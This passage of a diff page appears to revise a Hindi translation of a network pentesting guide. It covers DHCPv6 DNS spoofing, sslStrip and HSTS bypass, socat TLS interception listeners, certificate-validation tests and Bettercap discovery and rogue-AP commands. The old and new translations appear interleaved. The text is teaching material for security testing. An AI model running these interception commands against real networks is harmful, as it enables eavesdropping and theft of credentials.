|
||||
|
||||
डिफ़ॉल्ट रूप से कुछ OS नेटवर्क में DHCPv6 पैकेट पढ़कर DNS को कॉन्फ़िगर करने की कोशिश करते हैं। फिर, एक हमलावर DHCPv6 पैकेट भेज सकता है ताकि वह खुद को DNS के रूप में कॉन्फ़िगर कर सके। DHCP भी पीड़ित को एक IPv6 प्रदान करता है।
|
||||
डिफ़ॉल्ट रूप से कुछ OS नेटवर्क में DHCPv6 पैकेट पढ़कर DNS को कॉन्फ़िगर करने की कोशिश करते हैं। फिर, एक attacker DHCPv6 पैकेट भेजकर खुद को DNS के रूप में कॉन्फ़िगर कर सकता है। DHCP victim को एक IPv6 पता भी प्रदान कर सकता है।
|
||||
```bash
|
||||
dhcp6.spoof on
|
||||
dhcp6.spoof.domains <list of domains>
|
||||
@ -686,7 +703,7 @@ mitm6
|
||||
|
||||
### sslStrip
|
||||
|
||||
बुनियादी रूप से, इस हमले में, यदि **उपयोगकर्ता** एक **HTTP** पृष्ठ तक **पहुँचने** की कोशिश करता है जो **HTTPS** संस्करण की ओर **रीडायरेक्ट** हो रहा है। **sslStrip** **क्लाइंट के साथ** एक **HTTP कनेक्शन** और **सर्वर के साथ** एक **HTTPS कनेक्शन** **बनाए रखेगा** ताकि यह **स्निफ** कर सके कनेक्शन को **सादा पाठ** में।
|
||||
संक्षेप में, यह attack उस स्थिति में काम करता है जब **user** किसी **HTTP** पेज को **access** करने की कोशिश करता है जो **redirecting** होकर **HTTPS** version पर जा रहा होता है। **sslStrip** एक **HTTP connection with** **client and** एक **HTTPS connection with** **server** **maintain** करेगा, इसलिए यह कनेक्शन को **plain text** में **sniff** कर सकेगा।
|
||||
```bash
|
||||
apt-get install sslstrip
|
||||
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||||
@ -697,27 +714,29 @@ iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
|
||||
```
|
||||
More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
|
||||
|
||||
### sslStrip+ और dns2proxy का उपयोग HSTS को बायपास करने के लिए
|
||||
### sslStrip+ and dns2proxy for bypassing HSTS
|
||||
|
||||
**sslStrip+ और dns2proxy** और **sslStrip** के बीच का **अंतर** यह है कि वे **उदाहरण के लिए** _**www.facebook.com**_ को _**wwww.facebook.com**_ **पर** **रिडायरेक्ट** करेंगे (ध्यान दें कि **अतिरिक्त** "**w**" है) और **इस डोमेन का पता हमलावर के IP के रूप में सेट करेंगे**। इस तरह, **क्लाइंट** _**wwww.facebook.com**_ **(हमलावर)** से **कनेक्ट** होगा लेकिन पर्दे के पीछे **sslstrip+** **वास्तविक कनेक्शन** को **www.facebook.com** के साथ **बनाए रखेगा**।
|
||||
**अंतर** यह है कि **sslStrip+ and dns2proxy** **sslStrip** के मुकाबले उदाहरण के लिए _**www.facebook.com**_ **को** _**wwww.facebook.com**_ (ध्यान दें **अतिरिक्त** "**w**") पर **redirect** करेंगे और इस डोमेन का **पता attacker IP के रूप में** सेट कर देंगे।
|
||||
|
||||
इस तकनीक का **लक्ष्य** HSTS को **टालना** है क्योंकि _**wwww**.facebook.com_ **ब्राउज़र के कैश** में **सहेजा नहीं जाएगा**, इसलिए ब्राउज़र को **HTTP में फेसबुक प्रमाणीकरण करने के लिए धोखा दिया जाएगा**।\
|
||||
ध्यान दें कि इस हमले को करने के लिए पीड़ित को पहले [http://www.faceook.com](http://www.faceook.com) पर पहुंचने की कोशिश करनी होगी और न कि https पर। यह एक http पृष्ठ के अंदर लिंक को संशोधित करके किया जा सकता है।
|
||||
इस तरह, **client** **connect** करेगा _**wwww.facebook.com**_ **(the attacker)**, लेकिन पर्दे के पीछे **sslstrip+** **maintain** करेगा **real connection** को https के माध्यम से **www.facebook.com** के साथ।
|
||||
|
||||
इस तकनीक का **लक्ष्य** है **HSTS से बचना** क्योंकि _**wwww**.facebook.com_ **ब्राउज़र के** **cache** में सहेजा **नहीं होगा**, इसलिए ब्राउज़र को धोखा दिया जाएगा ताकि वह **facebook authentication in HTTP** करे.\
|
||||
ध्यान दें कि इस attack को करने के लिए victim को शुरू में [http://www.faceook.com](http://www.faceook.com) पर पहुँचने की कोशिश करनी होगी और न कि https. यह http पेज के अंदर लिंक बदलकर किया जा सकता है.
|
||||
|
||||
More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||||
|
||||
**sslStrip या sslStrip+ अब काम नहीं करता। इसका कारण यह है कि ब्राउज़रों में HSTS नियम पहले से सहेजे गए हैं, इसलिए भले ही यह किसी उपयोगकर्ता का "महत्वपूर्ण" डोमेन पर पहली बार पहुंचने का समय हो, वह इसे HTTPS के माध्यम से पहुंच जाएगा। इसके अलावा, ध्यान दें कि पहले से सहेजे गए नियम और अन्य उत्पन्न नियम फ्लैग** [**`includeSubdomains`**](https://hstspreload.appspot.com) **का उपयोग कर सकते हैं, इसलिए पहले का _**wwww.facebook.com**_ **उदाहरण अब काम नहीं करेगा क्योंकि** _**facebook.com**_ **HSTS के साथ `includeSubdomains` का उपयोग करता है।**
|
||||
**sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an "important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **so the** _**wwww.facebook.com**_ **example from before won't work anymore as** _**facebook.com**_ **uses HSTS with `includeSubdomains`.**
|
||||
|
||||
TODO: easy-creds, evilgrade, metasploit, factory
|
||||
|
||||
## TCP पोर्ट पर सुनें
|
||||
## TCP listen in port
|
||||
```bash
|
||||
sudo nc -l -p 80
|
||||
socat TCP4-LISTEN:80,fork,reuseaddr -
|
||||
```
|
||||
## TCP + SSL listen in port
|
||||
## TCP + SSL listen पोर्ट पर
|
||||
|
||||
#### कुंजी और स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करें
|
||||
#### keys और self-signed certificate बनाएँ
|
||||
```
|
||||
FILENAME=server
|
||||
# Generate a public/private key pair:
|
||||
@ -727,18 +746,18 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
|
||||
# Generate the PEM file by just appending the key and certificate files:
|
||||
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
|
||||
```
|
||||
#### प्रमाणपत्र का उपयोग करके सुनें
|
||||
#### सर्टिफिकेट का उपयोग करके सुनना
|
||||
```
|
||||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
|
||||
```
|
||||
#### प्रमाणपत्र का उपयोग करके सुनें और होस्ट पर रीडायरेक्ट करें
|
||||
#### प्रमाणपत्र का उपयोग करके सुनें और hosts पर रीडायरेक्ट करें
|
||||
```
|
||||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
|
||||
```
|
||||
कभी-कभी, यदि क्लाइंट यह जांचता है कि CA एक मान्य है, तो आप **एक अन्य होस्टनेम का प्रमाणपत्र जो CA द्वारा हस्ताक्षरित है** प्रदान कर सकते हैं।\
|
||||
एक और दिलचस्प परीक्षण है, **अनुरोधित होस्टनेम का प्रमाणपत्र लेकिन स्व-हस्ताक्षरित** प्रदान करना।
|
||||
कभी-कभी, अगर client जांचता है कि CA मान्य है, तो आप **serve a certificate of other hostname signed by a CA**.\
|
||||
एक और दिलचस्प परीक्षण है, कि आप serve a c**ertificate of the requested hostname but self-signed**.
|
||||
|
||||
परीक्षण करने के लिए अन्य चीजें हैं जैसे कि प्रमाणपत्र को एक मान्य प्रमाणपत्र के साथ हस्ताक्षरित करने की कोशिश करना जो एक मान्य CA नहीं है। या मान्य सार्वजनिक कुंजी का उपयोग करना, एक ऐसे एल्गोरिदम का उपयोग करने के लिए मजबूर करना जैसे कि डिफी हेलमैन (एक ऐसा जो वास्तविक निजी कुंजी के साथ कुछ भी डिक्रिप्ट करने की आवश्यकता नहीं है) और जब क्लाइंट वास्तविक निजी कुंजी का एक प्रॉब (जैसे एक हैश) मांगता है, तो एक नकली प्रॉब भेजें और उम्मीद करें कि क्लाइंट इसे जांचेगा नहीं।
|
||||
अन्य चीजें जो टेस्ट करनी चाहिए: certificate को ऐसे valid certificate से sign करने की कोशिश करना जो खुद एक valid CA न हो। या valid public key का उपयोग करना, और algorithm के रूप में diffie hellman को मजबूर करना (ऐसा algorithm जो वास्तविक private key से कुछ भी decrypt करने की आवश्यकता नहीं करता), और जब client वास्तविक private key का कोई probe (जैसे hash) अनुरोध करे, तो एक fake probe भेजना और उम्मीद करना कि client इसे नहीं जांचेगा।
|
||||
|
||||
## Bettercap
|
||||
```bash
|
||||
@ -766,19 +785,19 @@ set wifi.ap.channel 5
|
||||
set wifi.ap.encryption false #If true, WPA2
|
||||
wifi.recon on; wifi.ap
|
||||
```
|
||||
### Active Discovery Notes
|
||||
### सक्रिय डिस्कवरी नोट्स
|
||||
|
||||
यह ध्यान में रखें कि जब एक UDP पैकेट एक ऐसे डिवाइस को भेजा जाता है जिसमें अनुरोधित पोर्ट नहीं होता है, तो एक ICMP (Port Unreachable) भेजा जाता है।
|
||||
ध्यान रखें कि जब किसी डिवाइस को UDP packet भेजा जाता है और उस पर requested पोर्ट उपलब्ध नहीं होता, तो एक ICMP (Port Unreachable) संदेश भेजा जाता है।
|
||||
|
||||
### **ARP discover**
|
||||
|
||||
ARP पैकेट का उपयोग यह पता लगाने के लिए किया जाता है कि नेटवर्क के अंदर कौन से IPs का उपयोग किया जा रहा है। PC को प्रत्येक संभावित IP पते के लिए एक अनुरोध भेजना होता है और केवल वही जो उपयोग में हैं, उत्तर देंगे।
|
||||
ARP packets का उपयोग यह पता लगाने के लिए किया जाता है कि नेटवर्क के भीतर कौन से IP उपयोग में हैं। PC को हर संभावित IP address के लिए एक request भेजनी होती है और केवल वही respond करेंगे जो उपयोग में हैं।
|
||||
|
||||
### **mDNS (multicast DNS)**
|
||||
|
||||
Bettercap एक MDNS अनुरोध भेजता है (प्रत्येक X ms) **\_services\_.dns-sd.\_udp.local** के लिए पूछते हुए, जो मशीन इस पैकेट को देखती है, आमतौर पर इस अनुरोध का उत्तर देती है। फिर, यह केवल "services" का उत्तर देने वाली मशीनों की खोज करता है।
|
||||
Bettercap हर X ms पर एक MDNS request भेजता है जो **\_services\_.dns-sd.\_udp.local** के लिए पूछती है। जो मशीन यह packet देखती है, आमतौर पर इस request का उत्तर देती है। फिर, यह केवल उन मशीनों को खोजता है जो "services" के जवाब देती हैं।
|
||||
|
||||
**Tools**
|
||||
**टूल्स**
|
||||
|
||||
- Avahi-browser (--all)
|
||||
- Bettercap (net.probe.mdns)
|
||||
@ -786,27 +805,31 @@ Bettercap एक MDNS अनुरोध भेजता है (प्रत्
|
||||
|
||||
### **NBNS (NetBios Name Server)**
|
||||
|
||||
Bettercap पोर्ट 137/UDP पर "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA" नाम के लिए पूछते हुए पैकेट प्रसारित करता है।
|
||||
Bettercap पोर्ट 137/UDP पर broadcast packets भेजकर नाम "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA" के लिए पूछता है।
|
||||
|
||||
### **SSDP (Simple Service Discovery Protocol)**
|
||||
|
||||
Bettercap SSDP पैकेट प्रसारित करता है जो सभी प्रकार की सेवाओं की खोज करता है (UDP पोर्ट 1900)।
|
||||
Bettercap SSDP packets broadcast करके सभी प्रकार की services की खोज करता है (UDP Port 1900).
|
||||
|
||||
### **WSD (Web Service Discovery)**
|
||||
|
||||
Bettercap WSD पैकेट प्रसारित करता है जो सेवाओं की खोज करता है (UDP पोर्ट 3702)।
|
||||
Bettercap WSD packets broadcast करके services की खोज करता है (UDP Port 3702).
|
||||
|
||||
|
||||
### Telecom / Mobile-Core (GTP) का शोषण
|
||||
|
||||
### Telecom / Mobile-Core (GTP) Exploitation
|
||||
|
||||
{{#ref}}
|
||||
telecom-network-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- **Network Security Assessment: Know Your Network (3rd edition)**
|
||||
- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||||
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user